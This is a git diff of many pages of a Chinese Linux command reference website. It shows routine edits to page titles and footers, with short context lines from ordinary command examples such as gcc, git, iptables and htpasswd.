fsck 命令详解:检查并且试图修复文件系统中的错误 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -94,7 +94,7 @@ - - + + \ No newline at end of file diff --git a/c/ftp.html b/c/ftp.html index 21a1d53564..fd5d88096b 100644 --- a/c/ftp.html +++ b/c/ftp.html @@ -10,7 +10,7 @@ ftp 命令,Linux ftp 命令详解:用来设置文件系统相关功能 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -132,7 +132,7 @@ ftp> mput *.txt - - + + \ No newline at end of file diff --git a/c/ftpcount.html b/c/ftpcount.html index ec388dc2fe..ee854c0d24 100644 --- a/c/ftpcount.html +++ b/c/ftpcount.html @@ -10,7 +10,7 @@ ftpcount 命令,Linux ftpcount 命令详解:显示目前已FTP登入的用户人数 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -70,7 +70,7 @@ - - + + \ No newline at end of file diff --git a/c/ftpshut.html b/c/ftpshut.html index 925ddbabd6..1ef841a5a3 100644 --- a/c/ftpshut.html +++ b/c/ftpshut.html @@ -10,7 +10,7 @@ ftpshut 命令,Linux ftpshut 命令详解:在指定的时间关闭FTP服务器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -74,7 +74,7 @@ - - + + \ No newline at end of file diff --git a/c/ftptop.html b/c/ftptop.html index 64d1fe4896..1fd018d953 100644 --- a/c/ftptop.html +++ b/c/ftptop.html @@ -10,7 +10,7 @@ ftptop 命令,Linux ftptop 命令详解:proftpd服务器的连接状态 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -75,7 +75,7 @@ - - + + \ No newline at end of file diff --git a/c/ftpwho.html b/c/ftpwho.html index ba2297778b..36d7386394 100644 --- a/c/ftpwho.html +++ b/c/ftpwho.html @@ -10,7 +10,7 @@ ftpwho 命令,Linux ftpwho 命令详解:显示当前每个ftp会话信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -74,7 +74,7 @@ - - + + \ No newline at end of file diff --git a/c/fuser.html b/c/fuser.html index 528f8a20f6..0ac4430191 100644 --- a/c/fuser.html +++ b/c/fuser.html @@ -10,7 +10,7 @@ fuser 命令,Linux fuser 命令详解:使用文件或文件结构识别进程 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -106,7 +106,7 @@ - - + + \ No newline at end of file diff --git a/c/gcc.html b/c/gcc.html index e30f80cc67..e8287a6103 100644 --- a/c/gcc.html +++ b/c/gcc.html @@ -10,7 +10,7 @@ gcc 命令,Linux gcc 命令详解:基于C/C++的编译器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -123,7 +123,7 @@ gcc -o testfun.o test.o -o test - - + + \ No newline at end of file diff --git a/c/gcov.html b/c/gcov.html index 3538bf531a..eb8e605208 100644 --- a/c/gcov.html +++ b/c/gcov.html @@ -10,7 +10,7 @@ gcov 命令,Linux gcov 命令详解:测试程序的代码覆盖率的工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -78,7 +78,7 @@ - - + + \ No newline at end of file diff --git a/c/gdb.html b/c/gdb.html index 5303836519..69dbf8929f 100644 --- a/c/gdb.html +++ b/c/gdb.html @@ -10,7 +10,7 @@ gdb 命令,Linux gdb 命令详解:功能强大的程序调试器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -343,7 +343,7 @@ q 退出调试 - - + + \ No newline at end of file diff --git a/c/get_module.html b/c/get_module.html index dc5758066b..e8e08b83d5 100644 --- a/c/get_module.html +++ b/c/get_module.html @@ -10,7 +10,7 @@ get_module 命令,Linux get_module 命令详解:获取Linux内核模块的详细信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -113,7 +113,7 @@ Sections: - - + + \ No newline at end of file diff --git a/c/getenforce.html b/c/getenforce.html index 2506703af9..262405351c 100644 --- a/c/getenforce.html +++ b/c/getenforce.html @@ -10,7 +10,7 @@ getenforce 命令,Linux getenforce 命令详解:显示当前SELinux的应用模式,是强制、执行还是停用 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -75,7 +75,7 @@ Enforcing - - + + \ No newline at end of file diff --git a/c/getsebool.html b/c/getsebool.html index 2548aef56f..4a8fd300a5 100644 --- a/c/getsebool.html +++ b/c/getsebool.html @@ -10,7 +10,7 @@ getsebool 命令,Linux getsebool 命令详解:查询SElinux策略内各项规则的布尔值 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -86,7 +86,7 @@ setsebool -P httpd_enable_homedirs - - + + \ No newline at end of file diff --git a/c/git.html b/c/git.html index 0d5a7edda3..fff670a41c 100644 --- a/c/git.html +++ b/c/git.html @@ -10,7 +10,7 @@ git 命令,Linux git 命令详解:是目前世界上最先进的分布式版本控制系统 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -549,8 +549,8 @@ $ git clone rsync://example.com/path/to/repo - - + + \n\n''1.详细描述' @@ -575,8 +575,8 @@ var _hmt = _hmt || []; (function() {var hm = document.createElement("script"); h - - + + \n''2.详细描述' #提交简要描述和详细描述 @@ -858,7 +858,7 @@ rm -rf repo.git - - + + \ No newline at end of file diff --git a/c/gpasswd.html b/c/gpasswd.html index 495cc0ea44..7ba3c93268 100644 --- a/c/gpasswd.html +++ b/c/gpasswd.html @@ -10,7 +10,7 @@ gpasswd 命令,Linux gpasswd 命令详解:Linux下工作组文件的管理工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -96,7 +96,7 @@ gpasswd -a allen users - - + + \ No newline at end of file diff --git a/c/gpm.html b/c/gpm.html index ef1c095fc1..59c47f386e 100644 --- a/c/gpm.html +++ b/c/gpm.html @@ -10,7 +10,7 @@ gpm 命令,Linux gpm 命令详解:提供文字模式下的滑鼠事件处理 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -77,7 +77,7 @@ - - + + \ No newline at end of file diff --git a/c/grep.html b/c/grep.html index e43615facb..ea8e9d1b43 100644 --- a/c/grep.html +++ b/c/grep.html @@ -10,7 +10,7 @@ grep 命令,Linux grep 命令详解:强大的文本搜索工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -100,8 +100,8 @@ $ # 锚定行的结束 如:'grep - - + + 匹配所有以grep结尾的行。 . # 匹配一个非换行符的字符 如:'gr.p'匹配gr后接一个任意字符,然后是p。 @@ -269,7 +269,7 @@ b - - + + \ No newline at end of file diff --git a/c/groupadd.html b/c/groupadd.html index 609c52c451..a2b11d3ba5 100644 --- a/c/groupadd.html +++ b/c/groupadd.html @@ -10,7 +10,7 @@ groupadd 命令,Linux groupadd 命令详解:用于创建一个新的工作组 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -83,7 +83,7 @@ - - + + \ No newline at end of file diff --git a/c/groupdel.html b/c/groupdel.html index 105edb83d1..023a95170d 100644 --- a/c/groupdel.html +++ b/c/groupdel.html @@ -10,7 +10,7 @@ groupdel 命令,Linux groupdel 命令详解:用于删除指定的工作组 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -76,7 +76,7 @@ - - + + \ No newline at end of file diff --git a/c/groupmod.html b/c/groupmod.html index 5d6cfe82b5..5529d08639 100644 --- a/c/groupmod.html +++ b/c/groupmod.html @@ -10,7 +10,7 @@ groupmod 命令,Linux groupmod 命令详解:更改群组识别码或名称 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -77,7 +77,7 @@ - - + + \ No newline at end of file diff --git a/c/groups.html b/c/groups.html index 2ddab776c7..0de9ec9e72 100644 --- a/c/groups.html +++ b/c/groups.html @@ -10,7 +10,7 @@ groups 命令,Linux groups 命令详解:打印指定用户所在组的名称。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -91,7 +91,7 @@ linux : linux adm dialout cdrom pl - - + + \ No newline at end of file diff --git a/c/grpck.html b/c/grpck.html index 947ae17f91..849ec42090 100644 --- a/c/grpck.html +++ b/c/grpck.html @@ -10,7 +10,7 @@ grpck 命令,Linux grpck 命令详解:用于验证组文件的完整性 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -92,7 +92,7 @@ grpck: the files have been updated # 这时已经 - - + + \ No newline at end of file diff --git a/c/grpconv.html b/c/grpconv.html index 5d3995afdb..59a2476528 100644 --- a/c/grpconv.html +++ b/c/grpconv.html @@ -10,7 +10,7 @@ grpconv 命令,Linux grpconv 命令详解:用来开启群组的投影密码 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -85,7 +85,7 @@ cdy:123456:: # 已经移到影子文件了 - - + + \ No newline at end of file diff --git a/c/grpunconv.html b/c/grpunconv.html index 75e91349eb..364d30d5aa 100644 --- a/c/grpunconv.html +++ b/c/grpunconv.html @@ -10,7 +10,7 @@ grpunconv 命令,Linux grpunconv 命令详解:用来关闭群组的投影密码 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -83,7 +83,7 @@ cdy:123456:1000: - - + + \ No newline at end of file diff --git a/c/grub.html b/c/grub.html index ba6b3ae177..ece8743066 100644 --- a/c/grub.html +++ b/c/grub.html @@ -10,7 +10,7 @@ grub 命令,Linux grub 命令详解:多重引导程序grub的命令行shell工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -104,7 +104,7 @@ boot - - + + \ No newline at end of file diff --git a/c/gunzip.html b/c/gunzip.html index edd0fc70b9..7b95d7931c 100644 --- a/c/gunzip.html +++ b/c/gunzip.html @@ -10,7 +10,7 @@ gunzip 命令,Linux gunzip 命令详解:用来解压缩文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -104,7 +104,7 @@ compressed uncompressed ratio uncompressed_name - - + + \ No newline at end of file diff --git a/c/gzexe.html b/c/gzexe.html index 48ee9fb3b7..3b86b54d65 100644 --- a/c/gzexe.html +++ b/c/gzexe.html @@ -10,7 +10,7 @@ gzexe 命令,Linux gzexe 命令详解:用来压缩可执行文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -75,7 +75,7 @@ - - + + \ No newline at end of file diff --git a/c/gzip.html b/c/gzip.html index bb59821187..697cb15802 100644 --- a/c/gzip.html +++ b/c/gzip.html @@ -10,7 +10,7 @@ gzip 命令,Linux gzip 命令详解:用来压缩文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -118,7 +118,7 @@ - - + + \ No newline at end of file diff --git a/c/halt.html b/c/halt.html index 74cc83fdae..8c3bd4ba47 100644 --- a/c/halt.html +++ b/c/halt.html @@ -10,7 +10,7 @@ halt 命令,Linux halt 命令详解:关闭正在运行的Linux操作系统 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -82,7 +82,7 @@ - - + + \ No newline at end of file diff --git a/c/hdparm.html b/c/hdparm.html index 3a763de7e7..338756a0b8 100644 --- a/c/hdparm.html +++ b/c/hdparm.html @@ -10,7 +10,7 @@ hdparm 命令,Linux hdparm 命令详解:显示与设定硬盘的参数 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -144,7 +144,7 @@ hdparm -m #参数值为整数值如8 /dev/sda - - + + \ No newline at end of file diff --git a/c/head.html b/c/head.html index 0ee54249b4..87a06810ce 100644 --- a/c/head.html +++ b/c/head.html @@ -10,7 +10,7 @@ head 命令,Linux head 命令详解:显示文件的开头部分。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -142,7 +142,7 @@ T、P、E、Z、Y等以此类推。 - - + + \ No newline at end of file diff --git a/c/help.html b/c/help.html index f7f5642951..bbe11cb6d1 100644 --- a/c/help.html +++ b/c/help.html @@ -10,7 +10,7 @@ help 命令,Linux help 命令详解:该命令是bash内建命令,用于显示bash内建命令的帮助信息。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -102,7 +102,7 @@ shopt: shopt - - + + \ No newline at end of file diff --git a/c/hexdump.html b/c/hexdump.html index c49fe95709..fa1e4fa30d 100644 --- a/c/hexdump.html +++ b/c/hexdump.html @@ -10,7 +10,7 @@ hexdump 命令,Linux hexdump 命令详解:显示文件十六进制格式 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -100,7 +100,7 @@ - - + + \ No newline at end of file diff --git a/c/history.html b/c/history.html index bd7f06bc3d..a15ea3f8a7 100644 --- a/c/history.html +++ b/c/history.html @@ -10,7 +10,7 @@ history 命令,Linux history 命令详解:显示或操作历史列表。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -126,7 +126,7 @@ - - + + \ No newline at end of file diff --git a/c/host.html b/c/host.html index 88aa3b3e75..4621d3c312 100644 --- a/c/host.html +++ b/c/host.html @@ -10,7 +10,7 @@ host 命令,Linux host 命令详解:常用的分析域名查询工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -102,7 +102,7 @@ Received 54 bytes from - - + + \ No newline at end of file diff --git a/c/hostid.html b/c/hostid.html index 041819fc69..75c6cb0edc 100644 --- a/c/hostid.html +++ b/c/hostid.html @@ -10,7 +10,7 @@ hostid 命令,Linux hostid 命令详解:显示当前主机的十六进制数字标识。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -85,7 +85,7 @@ - - + + \ No newline at end of file diff --git a/c/hostname.html b/c/hostname.html index ecae6df2cd..e9f3989478 100644 --- a/c/hostname.html +++ b/c/hostname.html @@ -10,7 +10,7 @@ hostname 命令,Linux hostname 命令详解:显示和设置系统的主机名 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -108,7 +108,7 @@ AY1307311912260196fcZ - - + + \ No newline at end of file diff --git a/c/hostnamectl.html b/c/hostnamectl.html index 88a0324035..5bb16d46c4 100644 --- a/c/hostnamectl.html +++ b/c/hostnamectl.html @@ -10,7 +10,7 @@ hostnamectl 命令,Linux hostnamectl 命令详解:查询或更改系统主机名 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -94,7 +94,7 @@ set-location NAME 设置主机位置 - - + + \ No newline at end of file diff --git a/c/hping3.html b/c/hping3.html index 40a9e4ea34..9a718731f9 100644 --- a/c/hping3.html +++ b/c/hping3.html @@ -10,7 +10,7 @@ hping3 命令,Linux hping3 命令详解:测试网络及主机的安全 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -165,7 +165,7 @@ hping3 192.168.10.44 -p53 -d - - + + \ No newline at end of file diff --git a/c/htdigest.html b/c/htdigest.html index f0c8e03322..48cde71b04 100644 --- a/c/htdigest.html +++ b/c/htdigest.html @@ -10,7 +10,7 @@ htdigest 命令,Linux htdigest 命令详解:Apache服务器内置工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -79,7 +79,7 @@ - - + + \ No newline at end of file diff --git a/c/htop.html b/c/htop.html index f2a3b63f6c..f820d43c7d 100644 --- a/c/htop.html +++ b/c/htop.html @@ -10,7 +10,7 @@ htop 命令,Linux htop 命令详解:[非内部命令]一个互动的进程查看器,可以动态观察系统进程状况 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -177,7 +177,7 @@ F7表示减小nice值(增大优先级 - - + + \ No newline at end of file diff --git a/c/htpasswd.html b/c/htpasswd.html index 70c48036f1..4e4f2398b8 100644 --- a/c/htpasswd.html +++ b/c/htpasswd.html @@ -10,7 +10,7 @@ htpasswd 命令,Linux htpasswd 命令详解:apache服务器创建密码认证文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -105,7 +105,7 @@ htpasswd -b .passwd Jack 123456 - - + + \ No newline at end of file diff --git a/c/hwclock.html b/c/hwclock.html index 7988ba1b3a..dd420a9adb 100644 --- a/c/hwclock.html +++ b/c/hwclock.html @@ -10,7 +10,7 @@ hwclock 命令,Linux hwclock 命令详解:显示与设定硬件时钟 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -101,7 +101,7 @@ hwclock --systohc –-utc - - + + \ No newline at end of file diff --git a/c/iconv.html b/c/iconv.html index 809800e6d3..8363a2bb8f 100644 --- a/c/iconv.html +++ b/c/iconv.html @@ -10,7 +10,7 @@ iconv 命令,Linux iconv 命令详解:转换文件的编码方式 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -88,7 +88,7 @@ - - + + \ No newline at end of file diff --git a/c/id.html b/c/id.html index 4e6bd98c4c..e935b006cc 100644 --- a/c/id.html +++ b/c/id.html @@ -10,7 +10,7 @@ id 命令,Linux id 命令详解:打印真实以及有效的用户和所在组的信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -130,7 +130,7 @@ - - + + \ No newline at end of file diff --git a/c/ifcfg.html b/c/ifcfg.html index 42485955e2..be8ff216b9 100644 --- a/c/ifcfg.html +++ b/c/ifcfg.html @@ -10,7 +10,7 @@ ifcfg 命令,Linux ifcfg 命令详解:置Linux中的网络接口参数 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -76,7 +76,7 @@ Stop:停用指定的网络接口的IP地址。 - - + + \ No newline at end of file diff --git a/c/ifconfig.html b/c/ifconfig.html index 2d78497809..063bc24878 100644 --- a/c/ifconfig.html +++ b/c/ifconfig.html @@ -10,7 +10,7 @@ ifconfig 命令,Linux ifconfig 命令详解:配置和显示Linux系统网卡的网络参数 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -149,7 +149,7 @@ lo Link encap:Local Loopback - - + + \ No newline at end of file diff --git a/c/ifdown.html b/c/ifdown.html index 6f44f41f22..cf50d54f49 100644 --- a/c/ifdown.html +++ b/c/ifdown.html @@ -10,7 +10,7 @@ ifdown 命令,Linux ifdown 命令详解:禁用指定的网络接口 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -75,7 +75,7 @@ - - + + \ No newline at end of file diff --git a/c/ifstat.html b/c/ifstat.html index e0b20da3fd..5a9bcc4140 100644 --- a/c/ifstat.html +++ b/c/ifstat.html @@ -10,7 +10,7 @@ ifstat 命令,Linux ifstat 命令详解:统计网络接口流量状态 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -123,7 +123,7 @@ HH:MM:ss KB/s in KB/s out KB/s - - + + \ No newline at end of file diff --git a/c/iftop.html b/c/iftop.html index 0b86b39bb3..d69feb8828 100644 --- a/c/iftop.html +++ b/c/iftop.html @@ -10,7 +10,7 @@ iftop 命令,Linux iftop 命令详解:一款实时流量监控工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -121,7 +121,7 @@ iftop -F 192.168.1.0/24 or - - + + \ No newline at end of file diff --git a/c/ifup.html b/c/ifup.html index 9032635436..6c2ad8dadc 100644 --- a/c/ifup.html +++ b/c/ifup.html @@ -10,7 +10,7 @@ ifup 命令,Linux ifup 命令详解:激活指定的网络接口 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -75,7 +75,7 @@ - - + + \ No newline at end of file diff --git a/c/indent.html b/c/indent.html index 5b0e7b7d57..63ba658895 100644 --- a/c/indent.html +++ b/c/indent.html @@ -10,7 +10,7 @@ indent 命令,Linux indent 命令详解:格式化C语言的源文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -132,7 +132,7 @@ indent(选项) - - + + \ No newline at end of file diff --git a/c/info.html b/c/info.html index 4a327533bf..038fa2a23a 100644 --- a/c/info.html +++ b/c/info.html @@ -10,7 +10,7 @@ info 命令,Linux info 命令详解:Linux下info格式的帮助指令 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -119,7 +119,7 @@ - - + + \ No newline at end of file diff --git a/c/init.html b/c/init.html index 3d5c28ede5..3b87dcfa10 100644 --- a/c/init.html +++ b/c/init.html @@ -10,7 +10,7 @@ init 命令,Linux init 命令详解:init进程是所有Linux进程的父进程 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -91,7 +91,7 @@ - - + + \ No newline at end of file diff --git a/c/inotifywait.html b/c/inotifywait.html index e972f8b571..6b91e45ed7 100644 --- a/c/inotifywait.html +++ b/c/inotifywait.html @@ -10,7 +10,7 @@ inotifywait 命令,Linux inotifywait 命令详解:异步文件系统监控机制 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -157,7 +157,7 @@ delete | 删除 ,文件被删除。

- - + + \ No newline at end of file diff --git a/c/insmod.html b/c/insmod.html index 70470722f0..ef92e59894 100644 --- a/c/insmod.html +++ b/c/insmod.html @@ -10,7 +10,7 @@ insmod 命令,Linux insmod 命令详解:将给定的模块加载到内核中 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -92,7 +92,7 @@ raid1 25153 - - + + \ No newline at end of file diff --git a/c/install.html b/c/install.html index 5cf92a47dc..1384b3f619 100644 --- a/c/install.html +++ b/c/install.html @@ -10,7 +10,7 @@ install 命令,Linux install 命令详解:安装或升级软件或备份数据 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -112,7 +112,7 @@ - - + + \ No newline at end of file diff --git a/c/iostat.html b/c/iostat.html index 589770c603..be915fb359 100644 --- a/c/iostat.html +++ b/c/iostat.html @@ -10,7 +10,7 @@ iostat 命令,Linux iostat 命令详解:监视系统输入输出设备和CPU的使用情况 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -118,7 +118,7 @@ svctm | I/O需求完成的平均时间 - - + + \ No newline at end of file diff --git a/c/iotop.html b/c/iotop.html index 05958b5b47..9a6bc17594 100644 --- a/c/iotop.html +++ b/c/iotop.html @@ -10,7 +10,7 @@ iotop 命令,Linux iotop 命令详解:用来监视磁盘I/O使用状况的工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -118,7 +118,7 @@ python setup.py install - - + + \ No newline at end of file diff --git a/c/ip.html b/c/ip.html index 8269b90e05..e322956eec 100644 --- a/c/ip.html +++ b/c/ip.html @@ -10,7 +10,7 @@ ip 命令,Linux ip 命令详解:网络配置工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -166,7 +166,7 @@ default via 112.124.15.247 dev eth1 - - + + \ No newline at end of file diff --git a/c/ip6tables-restore.html b/c/ip6tables-restore.html index c02afa89d1..e3a6007d24 100644 --- a/c/ip6tables-restore.html +++ b/c/ip6tables-restore.html @@ -10,7 +10,7 @@ ip6tables-restore 命令,Linux ip6tables-restore 命令详解:还原ip6tables表 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -74,7 +74,7 @@ - - + + \ No newline at end of file diff --git a/c/ip6tables-save.html b/c/ip6tables-save.html index 8946045e73..6d2217621b 100644 --- a/c/ip6tables-save.html +++ b/c/ip6tables-save.html @@ -10,7 +10,7 @@ ip6tables-save 命令,Linux ip6tables-save 命令详解:保存ip6tables表配置 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -74,7 +74,7 @@ - - + + \ No newline at end of file diff --git a/c/ip6tables.html b/c/ip6tables.html index 8899e0a592..508e1ec6d7 100644 --- a/c/ip6tables.html +++ b/c/ip6tables.html @@ -10,7 +10,7 @@ ip6tables 命令,Linux ip6tables 命令详解:linux中防火墙软件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -208,7 +208,7 @@ num pkts bytes target prot opt in o - - + + \ No newline at end of file diff --git a/c/ipcalc.html b/c/ipcalc.html index 367685d726..a0a8cebeb5 100644 --- a/c/ipcalc.html +++ b/c/ipcalc.html @@ -10,7 +10,7 @@ ipcalc 命令,Linux ipcalc 命令详解:简单的IP地址计算器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -98,7 +98,7 @@ - - + + \ No newline at end of file diff --git a/c/ipcrm.html b/c/ipcrm.html index bc9fcae121..c2bd59badc 100644 --- a/c/ipcrm.html +++ b/c/ipcrm.html @@ -10,7 +10,7 @@ ipcrm 命令,Linux ipcrm 命令详解:删除消息队列、信号集、或者共享内存标识 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -83,7 +83,7 @@ - - + + \ No newline at end of file diff --git a/c/ipcs.html b/c/ipcs.html index f12f393e9c..b6ec68288a 100644 --- a/c/ipcs.html +++ b/c/ipcs.html @@ -10,7 +10,7 @@ ipcs 命令,Linux ipcs 命令详解:分析消息队列共享内存和信号量 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -85,7 +85,7 @@ key shmid owner perms bytes nattch status - - + + \ No newline at end of file diff --git a/c/iperf.html b/c/iperf.html index a719faaf15..2b1d95fd05 100644 --- a/c/iperf.html +++ b/c/iperf.html @@ -10,7 +10,7 @@ iperf 命令,Linux iperf 命令详解:网络性能测试工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -271,7 +271,7 @@ $ iperf -c -F - - + + \ No newline at end of file diff --git a/c/iptables-restore.html b/c/iptables-restore.html index 17ee3f2af8..0f349d91b7 100644 --- a/c/iptables-restore.html +++ b/c/iptables-restore.html @@ -10,7 +10,7 @@ iptables-restore 命令,Linux iptables-restore 命令详解:还原iptables表的配置 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -78,7 +78,7 @@ - - + + \ No newline at end of file diff --git a/c/iptables-save.html b/c/iptables-save.html index 940a199066..0ea8fe3c6c 100644 --- a/c/iptables-save.html +++ b/c/iptables-save.html @@ -10,7 +10,7 @@ iptables-save 命令,Linux iptables-save 命令详解:备份iptables的表配置 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -90,7 +90,7 @@ COMMIT - - + + \ No newline at end of file diff --git a/c/iptables.html b/c/iptables.html index 486ee955f9..c80f309261 100644 --- a/c/iptables.html +++ b/c/iptables.html @@ -10,7 +10,7 @@ iptables 命令,Linux iptables 命令详解:Linux上常用的防火墙软件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -489,7 +489,7 @@ iptables -I INPUT -m limit --limit 3/hour --li - - + + \ No newline at end of file diff --git a/c/iptraf.html b/c/iptraf.html index 90dd15f1e5..2bdd2b9374 100644 --- a/c/iptraf.html +++ b/c/iptraf.html @@ -10,7 +10,7 @@ iptraf 命令,Linux iptraf 命令详解:实时地监视网卡流量 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -82,7 +82,7 @@ - - + + \ No newline at end of file diff --git a/c/iptstate.html b/c/iptstate.html index 01c8525b75..3221253ddc 100644 --- a/c/iptstate.html +++ b/c/iptstate.html @@ -10,7 +10,7 @@ iptstate 命令,Linux iptstate 命令详解:显示iptables的工作状态 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -81,7 +81,7 @@ - - + + \ No newline at end of file diff --git a/c/ispell.html b/c/ispell.html index d7626b6c21..73d818bc10 100644 --- a/c/ispell.html +++ b/c/ispell.html @@ -10,7 +10,7 @@ ispell 命令,Linux ispell 命令详解:检查文件中出现的拼写错误 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -72,7 +72,7 @@ - - + + \ No newline at end of file diff --git a/c/jed.html b/c/jed.html index 451942f5f5..62a42f5d50 100644 --- a/c/jed.html +++ b/c/jed.html @@ -10,7 +10,7 @@ jed 命令,Linux jed 命令详解:主要用于编辑代码的编辑器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -105,7 +105,7 @@ unset_setkey ( - - + + \ No newline at end of file diff --git a/c/jobs.html b/c/jobs.html index bb6a3ec28c..60511ac46a 100644 --- a/c/jobs.html +++ b/c/jobs.html @@ -10,7 +10,7 @@ jobs 命令,Linux jobs 命令详解:显示作业的状态。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -126,7 +126,7 @@ pc@192.168.1.4's password: - - + + \ No newline at end of file diff --git a/c/joe.html b/c/joe.html index 28f3803a16..cccbe23638 100644 --- a/c/joe.html +++ b/c/joe.html @@ -10,7 +10,7 @@ joe 命令,Linux joe 命令详解:强大的纯文本编辑器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -96,7 +96,7 @@ - - + + \ No newline at end of file diff --git a/c/join.html b/c/join.html index c2004f7abf..f55774632c 100644 --- a/c/join.html +++ b/c/join.html @@ -10,7 +10,7 @@ join 命令,Linux join 命令详解:两个文件中指定栏位内容相同的行连接起来 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -85,7 +85,7 @@ - - + + \ No newline at end of file diff --git a/c/jq.html b/c/jq.html index 31c4c4161a..6c6152d60c 100644 --- a/c/jq.html +++ b/c/jq.html @@ -10,7 +10,7 